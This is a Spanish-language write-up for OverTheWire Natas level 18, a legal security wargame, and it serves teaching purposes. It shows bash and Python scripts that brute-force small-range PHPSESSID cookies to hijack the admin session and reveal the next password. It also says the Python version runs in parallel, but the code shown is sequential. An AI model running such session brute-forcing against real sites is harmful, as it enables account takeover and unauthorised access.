Natas Nivel 18 a 19

Nivel oficial: http://natas18.natas.labs.overthewire.org

Este nivel introduce una vulnerabilidad clasica de gestion de sesiones: el servidor genera identificadores de sesion (PHPSESSID) como enteros dentro de un rango muy pequeno (1-640). Un atacante puede iterar ese espacio de forma automatizada hasta encontrar la sesion activa del administrador.

Este nivel forma parte del wargame Natas de OverTheWire, un entorno de laboratorio legal y autorizado para practicar seguridad web.

Objetivo

Obtener la contrasena del nivel 19 (<pass_natas19>) accediendo con los privilegios de administrador sin conocer su contrasena, solo adivinando su PHPSESSID.

Que aprendes

Concepto / ComandoPara que sirve
curl -b "PHPSESSID=<n>"Enviar una cookie de sesion arbitraria en una peticion HTTP
Fuerza bruta de espacio pequeñoIterar un rango finito de valores hasta encontrar el valido
Deteccion por contenido de respuestaIdentificar la sesion correcta comparando la respuesta HTML
grep sobre salida de curlFiltrar respuestas que contengan texto indicativo de exito
Secuencia bash for / seqGenerar rangos numericos para automatizar peticiones

Concepto clave

Identificadores de sesion predecibles (OWASP A07: Identification and Authentication Failures).

Un PHPSESSID seguro debe ser un token criptograficamente aleatorio de entropia alta (128 bits o mas). Cuando en su lugar se usa un entero secuencial o de rango acotado, el espacio de busqueda se vuelve trivialmente iterable. El atacante no rompe cifrado: simplemente prueba cada entero posible como si fuera ese usuario.

Patron general:

  1. El servidor asigna PHPSESSID = entero entre 1 y N (aqui N = 640).
  2. La sesion del admin existe en el servidor con alguno de esos valores.
  3. Enviar cada valor como cookie y comparar la respuesta revela cual pertenece al admin.

Este ataque no requiere interaccion con el formulario de login; explota directamente el mecanismo de reconocimiento de sesion del servidor.

Paso a paso

1. Reconocimiento inicial

Accede al nivel con las credenciales anteriores y observa el formulario de login. Mirando el codigo fuente (o la descripcion del nivel) se confirma que el rango de PHPSESSID es 1-640.

2. Script de fuerza bruta en bash

for i in $(seq 1 640); do
    resultado=$(curl -s \
        --cookie "PHPSESSID=$i" \
        -u natas18:<pass_natas18> \
        http://natas18.natas.labs.overthewire.org/)
    if echo "$resultado" | grep -q "You are an admin"; then
        echo "[+] PHPSESSID admin encontrado: $i"
        echo "$resultado" | grep "Password"
        break
    fi
done

La cadena que indica exito ("You are an admin") puede variar ligeramente; inspecciona el HTML de la pagina para confirmar el texto exacto antes de lanzar el script.

3. Alternativa en Python (mas rapida por conexiones paralelas)

import requests
 
url = "http://natas18.natas.labs.overthewire.org/"
auth = ("natas18", "<pass_natas18>")
 
for i in range(1, 641):
    r = requests.get(url, auth=auth, cookies={"PHPSESSID": str(i)})
    if "You are an admin" in r.text:
        print(f"[+] PHPSESSID: {i}")
        print(r.text)
        break

Aviso: el texto exacto de la condicion de exito puede requerir ajuste fino contra el reto en vivo. Inspecciona la respuesta de una sesion normal vs una de admin para calibrar el filtro.

4. Leer la contrasena

Una vez identificado el PHPSESSID correcto, la respuesta contendra la contrasena de natas19:

Password: <pass_natas19>

Por que funciona

El servidor PHP crea sesiones con session_start() y almacena en memoria o disco que el usuario con PHPSESSID=X es admin. Al recibir una cookie, PHP simplemente busca ese ID en su almacen de sesiones y devuelve el estado asociado, sin verificar que la IP o el navegador coincidan con quien creo la sesion originalmente.

Cuando el espacio de IDs es 1-640, hay exactamente 640 peticiones a probar. Incluso con latencia de red, el ataque termina en segundos. Si el ID fuera un UUID4 o un token de 128 bits, el mismo enfoque seria computacionalmente inviable.

Errores comunes

ErrorCausaSolucion
El script no encuentra nada en rango 1-640El texto de deteccion no coincide con el HTML realHacer una peticion manual con curl -v y leer el cuerpo de respuesta para encontrar la cadena correcta
curl devuelve 401 siempreFalta la autenticacion HTTP basica del wargame (-u natas18:<pass>)Añadir -u natas18:<pass_natas18> a cada peticion
El script es muy lentoCurl secuencial con latencia altaUsar Python con requests.Session() o paralelizar con xargs -P
La sesion de admin no existe en el momento de la pruebaEl servidor reinicia sesiones periodicamenteRelanzar el script; la sesion del admin se regenera automaticamente en estos wargames

Pasar al siguiente nivel

Usa la contrasena obtenida (<pass_natas19>) para acceder a:

http://natas19.natas.labs.overthewire.org/

con usuario natas19 y la contrasena encontrada.

Conexiones